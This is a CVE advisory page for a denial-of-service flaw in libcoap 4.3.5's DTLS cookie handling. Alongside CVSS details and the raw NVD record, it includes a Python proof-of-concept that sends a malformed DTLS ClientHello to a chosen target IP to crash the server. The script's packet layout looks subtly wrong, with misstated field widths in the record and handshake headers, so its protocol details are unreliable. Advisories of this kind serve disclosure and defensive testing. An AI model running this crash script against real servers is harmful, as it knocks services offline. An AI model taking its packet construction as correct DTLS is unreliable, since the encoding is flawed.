Security Vulnerability Report
中文
CVE-2025-65500 CVSS 4.3 MEDIUM

CVE-2025-65500

Published: 2025-11-24 14:15:48
Last Modified: 2025-12-01 16:28:13

Description

NULL pointer dereference in coap_dtls_generate_cookie() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS handshake that triggers SSL_get_SSL_CTX() to return NULL.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:* - VULNERABLE
libcoap < 4.3.5 (potentially affected)
libcoap = 4.3.5 (confirmed affected)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65500 PoC - libcoap coap_dtls_generate_cookie NULL Pointer Dereference This PoC demonstrates the NULL pointer dereference vulnerability in libcoap's DTLS handling. It sends a malformed DTLS handshake to trigger the vulnerability. Note: This is for educational and authorized testing purposes only. """ import socket import struct import random def create_malformed_dtls_handshake(): """ Create a malformed DTLS handshake packet to trigger NULL pointer dereference in coap_dtls_generate_cookie() function. """ # DTLS Header content_type = 0x16 # Handshake version = 0x0100 # DTLS 1.0 epoch = 0x0000 sequence_number = 0x000000000001 length = 0x0040 # 64 bytes of handshake data # DTLS Record Header record_header = struct.pack('>BHHQ', content_type, version, epoch, sequence_number) + struct.pack('>H', length) # Handshake Header msg_type = 0x01 # ClientHello msg_length = 0x003C # 60 bytes msg_seq = 0x0000 frag_offset = 0x000000 frag_length = 0x003C handshake_header = struct.pack('>BHH', msg_type, msg_length, msg_seq) handshake_header += struct.pack('>HH', frag_offset, frag_length) # ClientHello body - truncated/malformed to trigger NULL context client_version = 0x0303 # TLS 1.2 random_bytes = bytes([random.randint(0, 255) for _ in range(32)]) session_id = bytes([0x00]) # Empty session ID # Malformed cookie/extensions to trigger vulnerability cookie_length = 0x00 extensions = bytes([0x00, 0x00]) # Minimal/corrupted extensions client_hello_body = struct.pack('>H', client_version) + random_bytes + session_id client_hello_body += bytes([cookie_length]) + extensions # Assemble complete handshake handshake = handshake_header + client_hello_body # Pad to expected length handshake += bytes(60 - len(handshake)) return record_header + handshake def exploit_cve_2025_65500(target_ip, target_port=5684): """ Send malformed DTLS packet to trigger CVE-2025-65500 Args: target_ip: Target server IP address target_port: DTLS port (default 5684 for libcoap) """ print(f"[*] CVE-2025-65500 PoC - Targeting {target_ip}:{target_port}") print("[*] Creating malformed DTLS handshake packet...") # Generate malicious packet packet = create_malformed_dtls_handshake() print(f"[*] Packet size: {len(packet)} bytes") print("[*] Sending malicious DTLS handshake...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent successfully") print("[*] If the target is vulnerable, it should crash or become unresponsive") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-65500-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5684 exploit_cve_2025_65500(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65500", "sourceIdentifier": "[email protected]", "published": "2025-11-24T14:15:47.807", "lastModified": "2025-12-01T16:28:13.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in coap_dtls_generate_cookie() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS handshake that triggers SSL_get_SSL_CTX() to return NULL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:*", "matchCriteriaId": "78120234-9F76-4010-AD0E-FEA4DE8A76F9"}]}]}], "references": [{"url": "https://github.com/obgm/libcoap/issues/1746", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/obgm/libcoap/pull/1750", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}